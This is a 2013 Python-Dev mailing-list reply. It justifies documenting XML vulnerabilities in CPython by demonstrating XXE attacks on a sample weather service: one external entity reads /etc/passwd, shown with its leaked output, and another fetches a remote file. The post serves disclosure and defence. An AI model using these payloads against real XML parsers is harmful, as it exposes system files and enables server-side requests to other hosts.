[Python-Dev] cpython (2.7): Issue 17538: Document XML vulnerabilties

Christian Heimes christian at python.org
Tue Mar 26 20:04:11 CET 2013


Am 26.03.2013 19:41, schrieb Antoine Pitrou:
> On Tue, 26 Mar 2013 17:53:39 +0100 (CET)
> christian.heimes <python-checkins at python.org> wrote:
>> +
>> +The XML processing modules are not secure against maliciously constructed data.
>> +An attacker can abuse vulnerabilities for e.g. denial of service attacks, to
>> +access local files, to generate network connections to other machines, or
>> +to or circumvent firewalls.
> 
> Really? Where does the "access local files, generate network
> connections, circumvent firewalls" allegation come from?

Really!

https://bitbucket.org/PSF/defusedxml/src/e76248a8c2b3102c565bd3451656130cb29f04f8/other/python_external.py?at=default


REQUEST:
--------
<weather>Aachen</weather>

RESPONSE:
---------
<weather>The weather in Aachen is terrible.</weather


REQUEST:
--------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE weather [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
]>
<weather>&passwd;</weather>


RESPONSE:
---------
<error>Unknown city root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bi</error>


REQUEST:
--------
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE weather [
<!ENTITY url SYSTEM
"http://hg.python.org/cpython/raw-file/a11ddd687a0b/Lib/test/dh512.pem">
]>
<weather>&url;</weather>


RESPONSE:
---------
<error>Unknown city -----BEGIN DH PARAMETERS-----
MEYCQQD1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM2Zafq9AKUJsCRtMIPWak
XUGfnHy9iUsiGSa6q6Jew1XpKgVfAgEC
-----END DH PARAMETERS-----

These are the 512 bit DH parameters from "Assigned Number for SKIP
Protocols"
(http://www.skip-vpn.org/spec/numbers.html).
See there for how they were generated.
Note that g is not a generator, but this is not a problem since p is a
safe prime.
</error>


Q.E.D.
Christian


More information about the Python-Dev mailing list